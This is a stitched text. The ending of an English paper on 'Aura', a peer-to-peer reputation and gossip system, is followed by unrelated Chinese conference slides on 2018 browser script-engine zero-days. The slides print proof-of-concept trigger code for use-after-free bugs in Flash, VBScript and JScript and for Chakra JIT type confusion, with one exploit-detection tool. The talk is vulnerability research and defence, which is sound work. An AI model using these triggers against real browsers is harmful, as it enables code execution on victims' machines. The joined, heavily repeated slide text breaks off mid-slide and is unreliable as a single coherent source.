assigned an initial default value [by default 0 for anonymous users, and 1 logged in users]. Users are then assigned ‘karma’ points, which also start at a default value of zero. Users gain or lose karma when their posts are moderated. Any user with a non-negative karma can become a moderator. Moderators are assigned points which they can use change the value of any post. Status as a moderator is time-limited, to encourage participation. Advogato is designed to function as an experimental reputation system, and has a three-tiered ranking system. A detailed description is available on their web site, but entities are essentially evaluated by all other entities at or above their level, based on the presentation of peer certificates. All of these sites have several commonalities: 1. Identification – users must be reliably and securely identifiable 2. Peer interaction – users are evaluated by their peers 3. Feedback – user status changes based on peer interaction Requirements The success of any reputation system depends on widespread usage. This implies a number of functional requirements. o Immediate benefit (or sufficient novelty) o Easy to use, install and configure o Lightweight o Multiplatform o Secure Beyond basic functional requirements, a reputation system requires 1. Entity identification, verification and non-repudiation 5 2. Entity valuation 3. Entity feedback mechanisms Finally, a reputation system requires significant amounts of data on which to base valuation and feedback. Methodology In order to create a broad, accessible user base with few restrictions, it is necessary to eliminate the use of a centralized server. Rather than rely on a single source, such as the classic web model, it is important to create a distributed web of trust. Classic social networks consist of linked partially-meshed groups. The technological equivalent is peer-to-peer networking, with locally tunable algorithms. Interconnections are based on individual criteria, and information is stored locally. The software needs to be able to perform two separate tasks – establish trust or credibility, and exchange valuation information. These can be described more succinctly as Reputation and Gossip. Reputation Reputation needs to establish the following items about any given entity: o Identity o Trust relationship(s) o Valuation/Credibility Each entity taking part in a reputation exchange must be uniquely identifiable via public/private key cryptography, associated with an easy to remember identifier such as an email address, FQDN or other similar identifier. Reputation consists of two ratings, one specific to the user, and the other an aggregate credibility rating composed of information calculated from one (or more) templates. Gossip Gossip is the exchange of data which concerns an entity other than the communicating parties. Gossip about an entity must always be identified with the degree of separation from the gossiping entity. Templates are used to structure and constrain gossip and entity-to-entity data exchange. 6 As is true in human communications, gossip can be both positive and negative, and should always be considered carefully, and evaluated according to the source and content. Templates are used to describe the format and expected content of a given query. Typical template contents are an item (or series of items), and characteristics of that item. Templates are structured to require numeric responses to set queries, for performance and storage reasons. The returned template data can then be used to compute a template specific reputation, and contribute towards the overall reputation of an entity. A trivial example of a template fragment is shown below. Figure 1 - Template Fragment Using the template above as an example, the data transmitted would be the name of the template (Stable_Mail_Server), the signature of the template, and presuming a stable Sendmail server, the values 0 and 1. From this example, we could calculate that Sendmail has a reputation of being a stable mail server. The actual reputation calculation process involves more variables, and variable weighting. Design Issues The specific design issues under consideration in the process of implementing Aura are as follows: o Secure o Data exchange must be encrypted. o Data specific to a given entity must be keyed only to that entity. TemplateName=Stable_Mail_Server Server_Name? Sendmail:0 Qmail:1 Postfix:2 Stable? Yes:1 No:0 7 o Entity identifiers must be unique [public/private key], and may not be readily repudiated. o Templates must be signed o Information poisoning must be non-trivial o Key storage should be encrypted and permission limited o Fast o Efficient o No significant system or network load should be produced under standard usage (up to 100k entity records estimated per individual) o Multiple users on any single server may share the same server and data store, although user specific data will always be keyed to that user. o Simple o Straightforward to install and configure o Human readable data where possible o Templates should be text-based2 o Portable o Should have limited dependencies on OS or hardware specific items o Entity keys should be transferable between platforms or via devices such as USB key drives o Flexible o User extensions should be trivial o Database integration should be trivial o UI o Command line for scripting and power users o GUI for standard use [planned] Design Aura is implemented as a separate client and server process, with the server handling all incoming queries for information, and the client handling end user interaction. This is an artificial distinction to allow database queries and comparisons to be separated from interface design considerations. Functionally, Aura is designed to function both as a standalone application, and as a support for plug-ins to a variety of applications, such as mail clients or monitoring agents. As a part of the initial discovery process, aura will attempt to contact either the default seed server(s), or a user specified set of addresses to establish a list of 2 ASCII or Unicode as appropriate 8 aura speakers. Subsequent invocations will default to attempting to contact speakers in aura’s immediate web of trust. In situations where the contact mechanism for an entity is unknown, Aura implements path-based message passing. This implies that any entity may request any other entity to act as a message passing mechanism, recording the route to contact, and passing a message to a difficult to reach or unknown entity. The establishment of direct contact between entities is the preferred mechanism, as it absolves messenger hosts of the burden of additional traffic. It is expected, but not required that the Aura daemon (aurad) will run in the background, and maintain a limited set of ‘live’ connections to entities in its trust list. The initial connection between two previously unknown entities consists of an exchange of public keys and the associated identifier3. Unless the user intervenes, newly discovered entities are assigned a default reputation value. From this point onwards, all information sent between entities will be encrypted with the private key of each entity, to establish non-repudiation. Next, the signatures of the templates used by each entity are exchanged. Subsequently, the two entities exchange template-based information about themselves, and gossip about other entities. Connections between known entities consist of updates to template-based information, further exchange of gossip, and message passing. The type and amount of information exchanged can be limited according to reputation, template type, and entity. Gossip must always contain the degree of indirection (number of hops) from the originator. Reputation changes are made based on a combination of user input, gossip from trusted entities, trust equations and time. While volume will ultimately damp sudden changes in reputation based on gossip, initial swings are to be expected, while the system settles into equilibrium. Information poisoning is one of the greatest challenges in implementing a successful reputation system. Aura is potentially vulnerable to several information poisoning attacks. Template poisoning (where a trusted source for templates is successfully compromised, and templates replaced), identity theft or 3 An entity is not considered to be ‘known’ for this purpose until a key exchange has taken place. Entities which have been gossiped about indirectly will have an identifier, but not a public key associated with them. 9 forging, and flooding are all possible vectors. Like any software, Aura is also vulnerable to code alteration or replacement. The effect of most attacks is strongly affected by the total number of entities involved in the aura network. As with reputation values, a smaller system will show changes at a greater rate. Template poisoning is mitigated by requiring that all templates be signed, and that signatures match prior to any exchange of information. Identity theft and forging are addressed through the use of public/private key cryptography, requiring that any attacker either perform a successful decryption, or obtain key phrases through other mechanisms. It is possible to forge an identify from the initial contact onwards, and thus it is recommended that trust be considered carefully, and validated where possible. The GPG Privacy Guide provides an excellent example of entity verification procedures4. Flooding is the most challenging attack to defeat, but while sheer volume of queries could cause Denial of Service attacks (limited by the number of connections available), a lack of trust, as described in Advogato’s trust metric1 would inhibit information poisoning as a result. Implementation Aura is implemented in C, using Peter Gutman’s Cryptlib, and SQLite as a database backend. The basic structure consists of a simple TCP daemon, which listens for incoming queries, identifies and processes them appropriately, when contacted by a client. All data is stored locally in one database file per locally known entity5. This has the effect of making it easy to lock data to each local user. When the aura client is first started, it will check to see if it is running for the first time, and prompt for the location or creation of a public/private key pair. Once a key has been established, the client contacts the local server to log in. 4 http://www.gnupg.org/gph/en/manual.html#AEN554 5 This is a result of using SQLite, the desire to keep user data separated, portable and secure. 10 The server will then create a database file for the entity, and add the entity to the list of entities for which it maintains canonical information. When a server is first started, it will attempt to contact other aura speakers, either via a local list, or by contacting a remote seed server. If a server is designated as a seed server, it will receive queries from aura clients, seeking other aura speakers. The seed server expects to receive an ID string from the client, containing the IP and version of the aura client. The seed server then returns a list of IPs. The seed server may also return a notification message, such as failure notice, or the availability of a new version. A message passed to a server to contact a local entity will be handled as a standard query. If the message passed is for an unknown entity, the server will randomly select one of its established connections, check to ensure that a routing loop is not being created, and forward the message to the selected aura speaker. An initial client request from a previously unknown client contains the entity identifier of the entity they are attempting to contact (typically either an email address or FQDN), their identifier, and the associated public key. The server will return its entity identifier6 and public key encrypted with the public key of the client. Subsequent exchanges establish common templates, exchange data, and exchange gossip. A client can either function locally, querying the server for known information, or remotely, requesting new information and updates. Locally, a basic query about an entity identifier will return the private and public reputation of the queried entity. The data key is of the format <entity identifier><key hash>, returning <entity identifier><private reputation><public reputation>. Additional information requests or changes can be specified via flags. Each entity entry contains a hop- 6 In the event that the server handles information for multiple entities, the appropriate entity is selected. 11 limited list of the entities that have gossiped about it. While it is possible to maintain a list of all entities, no matter how distant that have gossiped about a given entity, it is definitely impractical! Configuration The configuration files are text based and can be set individually, and for the entire server. It is possible to configure levels of trust, and what information will be shared with whom, based on reputation (public/private), specific entity identifier and template. Critique It is not possible to determine the actual success of this software without a significantly sized and active population. Related work There are a large number of theoretical papers available at the Reputations Research Network, at the University of Michigan. More practically, Advogato , Ralph Levien’s web module focusing on group trust models for peer certification, eBay and SpamAssassin are practical examples of limited focus reputation systems. Conclusions Further testing in the wild, or in a large scale test environment is indicated. Availability Aura is released under the Berkeley Database License (better known as the Sleepycat license), and is fully GPL compatible. It can be downloaded from: http://www.geekness.net/tools/aura The most current version of this document may also be found at the above location. Acknowledgements 12 The seeds of this software are derived from several sources – a strong interest in AI and swarm intelligence – Caezar’s Challenge at Defcon X, discussing biological models in computation – Neal Stephenson’s fictional meme propagation – and a number of years collecting statistics for backbone networks. Thanks for patience, inspiration and/or editing go to Mark Langston, Mikael Olsson, Matthew Ringel, Kim Wallace, Dan Foster, Agent X and Myles. References 1. Advogato’s Trust Metric - http://www.advogato.org/trust-metric.html 2. http://www.fsf.org/licenses/license-list.html 3. Livejournal – http://www.livejournal.com 4. Friendster – http://www.friendster.com 5. Slashcode – http://slashcode.com and http://sourceforge.net/projects/slashcode/ 6. Slashcode moderation - http://sagewire.sage.org/moderation.shtml 7. eBay – http://www.ebay.com 8. SpamAssassin – http://www.spamassassin.org 9. GnuPG – http://www.gnupg.org
pdf
2018年浏览器脚本引擎零日漏洞 Elliot Cao Trend Micro 2019-05-30 Whoami • 入行之前是电气工程师 • 2017年加入趋势科技 • 沙箱开发人员 • 2018年开始研究浏览器漏洞 • 专注于浏览器脚本引擎 • Lei Cao (@elli0tn0phacker) 目录 • 2018年的浏览器零日漏洞 • VBSEmulator • Chakra 2018年的浏览器零日漏洞 2018年的浏览器零日漏洞 • Flash: CVE-2018-4878 CVE-2018-15982 • VBScript: CVE-2018-8174 CVE-2018-8373 • JScript: CVE-2018-8653 2018年的Flash零日漏洞 • CVE-2018-4878 var psdk:PSDK = PSDK.pSDK; var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher(); this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher); this.my_DRMListerner = new DRMOperationCompleteListener (); this.mediaPlayer.drmManager.initialize(this.my_DRMListerner); this.my_DRMListerner = null; try { new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error) { my_DRMListerner_vuln = new DRMOperationCompleteListener (); } 2018年的Flash零日漏洞漏洞 • CVE-2018-4878 创建一个对象 var psdk:PSDK = PSDK.pSDK; var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher(); this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher); this.my_DRMListerner = new DRMOperationCompleteListener (); this.mediaPlayer.drmManager.initialize(this.my_DRMListerner); this.my_DRMListerner = null; try { new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error) { my_DRMListerner_vuln = new DRMOperationCompleteListener (); } var psdk:PSDK = PSDK.pSDK; var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher(); this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher); this.my_DRMListerner = new DRMOperationCompleteListener (); this.mediaPlayer.drmManager.initialize(this.my_DRMListerner); this.my_DRMListerner = null; try { new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error) { my_DRMListerner_vuln = new DRMOperationCompleteListener (); } 2018年的Flash零日漏洞漏洞 • CVE-2018-4878 释放对象 2018年的Flash零日漏洞漏洞 • CVE-2018-4878 重用释放内存,触发GC,获得一个悬挂指针 my_DRMListerner_vuln var psdk:PSDK = PSDK.pSDK; var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher(); this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher); this.my_DRMListerner = new DRMOperationCompleteListener (); this.mediaPlayer.drmManager.initialize(this.my_DRMListerner); this.my_DRMListerner = null; try { new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error) { my_DRMListerner_vuln = new DRMOperationCompleteListener (); } 2018年的Flash零日漏洞漏洞 • CVE-2018-15982 var ba:ByteArray = new ByteArray(); var md:Metadata = new Metadata(); var arr_key:* = null; i = 0; while (i < 0x100) { md.setObject(i.toString(), ba); i++; } try{ new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error){} arr_key = md.keySet; 2018年的Flash零日漏洞漏洞 • CVE-2018-15982 var ba:ByteArray = new ByteArray(); var md:Metadata = new Metadata(); var arr_key:* = null; i = 0; while (i < 0x100) { md.setObject(i.toString(), ba); i++; } try{ new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error){} arr_key = md.keySet; 创建一些String对象 并将其保存到Metadata 2018年的Flash零日漏洞漏洞 • CVE-2018-15982 var ba:ByteArray = new ByteArray(); var md:Metadata = new Metadata(); var arr_key:* = null; i = 0; while (i < 0x100) { md.setObject(i.toString(), ba); i++; } try{ new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error){} arr_key = md.keySet; 2018年的Flash零日漏洞漏洞 • CVE-2018-15982 var ba:ByteArray = new ByteArray(); var md:Metadata = new Metadata(); var arr_key:* = null; i = 0; while (i < 0x100) { md.setObject(i.toString(), ba); i++; } try{ new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error){} arr_key = md.keySet; 触发 GC 2018年的Flash零日漏洞漏洞 • CVE-2018-15982 var ba:ByteArray = new ByteArray(); var md:Metadata = new Metadata(); var arr_key:* = null; i = 0; while (i < 0x100) { md.setObject(i.toString(), ba); i++; } try{ new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error){} arr_key = md.keySet; 得到悬挂指针 arr_key 2018年的 VBScript 零日漏洞 • CVE-2018-8174 Dim arr(1) Dim o Class MyClass Private Sub Class_Terminate Set o = arr(0) arr(0) = &h12345678 End Sub End Class Set arr(0) = New MyClass Erase arr msgbox o 2018年的 VBScript 零日漏洞 • CVE-2018-8174 Dim arr(1) Dim o Class MyClass Private Sub Class_Terminate Set o = arr(0) arr(0) = &h12345678 End Sub End Class Set arr(0) = New MyClass Erase arr msgbox o 创建一个MyClass对象并将其指针保存到arr(0) 2018年的 VBScript 零日漏洞 • CVE-2018-8174 Dim arr(1) Dim o Class MyClass Private Sub Class_Terminate Set o = arr(0) arr(0) = &h12345678 End Sub End Class Set arr(0) = New MyClass Erase arr msgbox o 2018年的 VBScript 零日漏洞 • CVE-2018-8174 Dim arr(1) Dim o Class MyClass Private Sub Class_Terminate Set o = arr(0) arr(0) = &h12345678 End Sub End Class Set arr(0) = New MyClass Erase arr msgbox o 将MyClass对象指 针保存到变量o 2018年的 VBScript 零日漏洞 • CVE-2018-8174 Dim arr(1) Dim o Class MyClass Private Sub Class_Terminate Set o = arr(0) arr(0) = &h12345678 End Sub End Class Set arr(0) = New MyClass Erase arr msgbox o 得到一个悬挂指针 2018年的 VBScript 零日漏洞 • CVE-2018-8373 Dim arr() ReDim arr(2) Class MyClass Public Default Property Get P ReDim arr(1) End Sub End Class arr(2) = New MyClass 2018年的 VBScript 零日漏洞 • CVE-2018-8373 Dim arr() ReDim arr(2) Class MyClass Public Default Property Get P ReDim arr(1) End Sub End Class arr(2) = New MyClass 将arr(2)地址保存在栈中 2018年的 VBScript 零日漏洞 • CVE-2018-8373 Dim arr() ReDim arr(2) Class MyClass Public Default Property Get P ReDim arr(1) End Sub End Class arr(2) = New MyClass 2018年的 VBScript 零日漏洞 • CVE-2018-8373 Dim arr() ReDim arr(2) Class MyClass Public Default Property Get P ReDim arr(1) End Sub End Class arr(2) = New MyClass 原数组缓冲区将由 | ReDim |释放 2018年的 VBScript 零日漏洞 • CVE-2018-8373 Dim arr() ReDim arr(2) Class MyClass Public Default Property Get P ReDim arr(1) End Sub End Class arr(2) = New MyClass 获得一个悬挂指针 2018年的 JScript 零日漏洞 • CVE-2018-8653 … for (var i = 0; i < limit; i++) { var arr = new Array({prototype:{}}); var e = new Enumerator(arr); e.moveFirst(); refs[i] = e.item(); } for (var i = 0; i < limit; i++) { refs[i].prototype = {}; refs[i].prototype.isPrototypeOf = getFreeRef; } … dummyObj instanceof refs[0]; 2018年的 JScript 零日漏洞 • CVE-2018-8653 … for (var i = 0; i < limit; i++) { var arr = new Array({prototype:{}}); var e = new Enumerator(arr); e.moveFirst(); refs[i] = e.item(); } for (var i = 0; i < limit; i++) { refs[i].prototype = {}; refs[i].prototype.isPrototypeOf = getFreeRef; } … dummyObj instanceof refs[0]; 创建一个有原型对象的对象数组 2018年的 JScript 零日漏洞 • CVE-2018-8653 … for (var i = 0; i < limit; i++) { var arr = new Array({prototype:{}}); var e = new Enumerator(arr); e.moveFirst(); refs[i] = e.item(); } for (var i = 0; i < limit; i++) { refs[i].prototype = {}; refs[i].prototype.isPrototypeOf = getFreeRef; } … dummyObj instanceof refs[0]; 将原型对象isPrototypeOf设置为| getFreeRef |回调函数 2018年的 JScript 零日漏洞 • CVE-2018-8653 … for (var i = 0; i < limit; i++) { var arr = new Array({prototype:{}}); var e = new Enumerator(arr); e.moveFirst(); refs[i] = e.item(); } for (var i = 0; i < limit; i++) { refs[i].prototype = {}; refs[i].prototype.isPrototypeOf = getFreeRef; } … dummyObj instanceof refs[0]; 调用 |getFreeRef| 回调函数 2018年的 JScript 零日漏洞 • CVE-2018-8653 function getFreeRef() { if (count == limit) { … for (var i = 0; i < limit; i++) { refs[i].prototype = 0; } CollectGarbage(); } else { dummyObj instanceof refs[count++]; } // crash here this; return false; } 利用递归调用将 |this| 保存在栈上 2018年的 JScript 零日漏洞 • CVE-2018-8653 function getFreeRef() { if (count == limit) { … for (var i = 0; i < limit; i++) { refs[i].prototype = 0; } CollectGarbage(); } else { dummyObj instanceof refs[count++]; } // crash here this; return false; } 跳出并通过GC释放原型对象 2018年的 JScript 零日漏洞 • CVE-2018-8653 function getFreeRef() { if (count == limit) { … for (var i = 0; i < limit; i++) { refs[i].prototype = 0; } CollectGarbage(); } else { dummyObj instanceof refs[count++]; } // crash here this; return false; } |this| 指针仍然保存在stack中,而不是由GC跟踪 获得一个悬挂指针 VBSEmulator VBScript是什么 • Microsoft开发的一种脚本语言 • 不符合ECMAScript标准 • 在vbscript.dll中运行 • 不开源 vbscript.dll 如何工作 • Load • Parse • Compile • Run • Unload vbscript.dll 如何工作 • Load • Parse • Compile • Run • Unload CScriptRuntime::RunNoEH(CScriptRuntime *__hidden this, struct VAR *) vbscript.dll 如何工作 • Load • Parse • Compile • Run • Unload CScriptRuntime::RunNoEH(CScriptRuntime *__hidden this, struct VAR *) CScriptRuntime +0x28 Local Variables +0x2C Function Arguments +0xB0 Statck Pointer +0xB4 Position Counter +0xC0 CompiledScript CompiledScript +0x10 func_offset +0x14 func_count +0x1C bos_info +0x28 bos_data +0x2C bos_data_length VBSEmulator 是什么 • 一个可以对vbs混淆的样本进行反混淆处理的工具 • 一个可以检测GodMode或ROP的工具 VBSEmulator 如何工作 Hook LoadLibrary Init COM Run Script Dump Behavior Detect Exploit Uninitialize Start Hook Break out Y N VBSEmulator 如何工作 Hook LoadLibrary Init COM Run Script Dump Behavior Detect Exploit Uninitialize Start Hook Break out Y N • Hook函数不会导出 • 需要维护一个Hook函数入口点模板 • 通过Hook LoadLibrary,可以使用特定的vbscript.dll VBSEmulator 如何工作 Hook LoadLibrary Init COM Run Script Dump Behavior Detect Exploit Uninitialize Start Hook Break out Y N • Exploit1: GodMode VBSEmulator 如何工作 Hook LoadLibrary Init COM Run Script Dump Behavior Detect Exploit Uninitialize Start Hook Break out Y N • Exploit2: ROP VBSEmulator 如何工作 Hook LoadLibrary Init COM Run Script Dump Behavior Detect Exploit Uninitialize Start Hook Break out Y N • Detect Exploit1: GodMode (1)Hook COleScript :: CanObjectRun (2)检查安全模式标志是否被修改 (3)如果检测到,抛出异常并停止运行ActiveX • Detect Exploit2: ROP (1)Hook ntdll!NtContinue (2)检查CONTEXT.Eip == VirtualProtect (3)如果检测到,抛出异常并停止运行shellcode 演示 Chakra Chakra是什么 • 由Microsoft开发的JavaScript引擎 • 用于Microsoft Edge • Fork自Internet Explorer中使用的Jscript9 • 在GitHub中开源:ChakraCore☺ Chakra 如何工作 • Parser • Interpreter • JIT compiler • Garbage Collector From: https://github.com/Microsoft/ChakraCore/wiki/Architecture-Overview Chakra 基本变量类型 • Array • JavascriptArray • JavascriptNativeIntArray • JavascriptNativeFloatArray Chakra 的基本变量类型 • Array • JavascriptArray • JavascriptNativeIntArray • JavascriptNativeFloatArray segment Chakra的基本变量类型 • Array • JavascriptArray • JavascriptNativeIntArray • JavascriptNativeFloatArray Chakra的基本变量类型 • Array • JavascriptArray • JavascriptNativeIntArray • JavascriptNativeFloatArray Chakra的基本变量类型 • Array • Type Conversion in Array arr[0] = {}; JavascriptNativeFloatArray JavascriptArray Chakra的基本变量类型 • Object • Memory layout of DynamicObject var obj2 = {__proto__:obj1}; Chakra JIT Type Confusion From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=chakra Chakra JIT Type Confusion • 示例 function opt(obj) { foo(obj); } for(let i=0; i < 0x10000; i++) { opt(obj1); } opt(obj2); Chakra JIT Type Confusion • 示例 function opt(obj) { foo(obj); } for(let i=0; i < 0x10000; i++) { opt(obj1); } opt(obj2); 强制对opt()进行JITed和优化 Chakra JIT Type Confusion • 示例 function opt(obj) { foo(obj); } for(let i=0; i < 0x10000; i++) { opt(obj1); } opt(obj2); 如果类型检查失败,JITed opt()会跳出 Chakra JIT Type Confusion • 示例 function opt(obj) { foo(obj); } for(let i=0; i < 0x10000; i++) { opt(obj1); } opt(obj2); foo()有副作用可能会改变obj类型 Chakra JIT Type Confusion • 示例 function opt(obj) { foo(obj); } for(let i=0; i < 0x10000; i++) { opt(obj1); } opt(obj2); 直接调用opt()JITed代码, 如果JITed代码没有检查obj2类型,如果由foo()更改, Type Confusion发生了! Chakra JIT Type Confusion • 案例分析: CVE-2017-11802 let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 Chakra JIT Type Confusion • 案例分析: CVE-2017-11802 : 根本原因分析 let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 Define one JavascriptFloatArray Chakra JIT Type Confusion let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 强制对opt()进行JITed和优化 • 案例分析: CVE-2017-11802 : 根本原因分析 Chakra JIT Type Confusion let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 |replace| 会触发ImplicitCall 回调 • 案例分析: CVE-2017-11802 : 根本原因分析 Chakra JIT Type Confusion • 案例分析: CVE-2017-11802 : 根本原因分析 let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 直接调用 opt() JITed 代码 Chakra JIT Type Confusion let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 |replace| 会触发ImplicitCall 回掉 | arr[0]={}| 将数组类型从Javascript NativeFloat Array更改为Javascript Array • 案例分析: CVE-2017-11802 : 根本原因分析 Chakra JIT Type Confusion • 案例分析: CVE-2017-11802 :根本原因分析 let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 JITed opt()仍然假设arr类型是JavascriptNativeFloatArray。 Type Confusion发生了! opt JITed Code Chakra JIT Type Confusion • 案例分析: CVE-2017-11802 :根本原因分析 let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 Chakra JIT Type Confusion • 案例分析: CVE-2017-11802 : 漏洞补丁 Chakra JIT Type Confusion • 案例分析: CVE-2017-11802 : 漏洞补丁 Chakra JIT Type Confusion • 案例分析: CVE-2017-11802 : 漏洞补丁 Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 根本原因分析 function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 创建两个对象 Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 根本原因分析 function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 for 循环强制opt()被JITed和优化 Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 根本原因分析 function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 |{__proto__:obj2}| 使obj2成为某个对象的原型 Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 根本原因分析 function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 直接调用 opt() JITed 代码 Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 根本原因分析 function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 |{__proto__:obj1}| 使obj1成为某个对象的原型 Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 根本原因分析 function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 |{__proto__:obj1}| 使obj1成为某个对象的原型 Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 根本原因分析 function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 JITed opt()不知道类型发生了变化。 Type Confusion发生了! Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 根本原因分析 function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 JITed opt()不知道obj1内存laylout的变化。 Type Confusion发生了! Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 根本原因分析 function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: 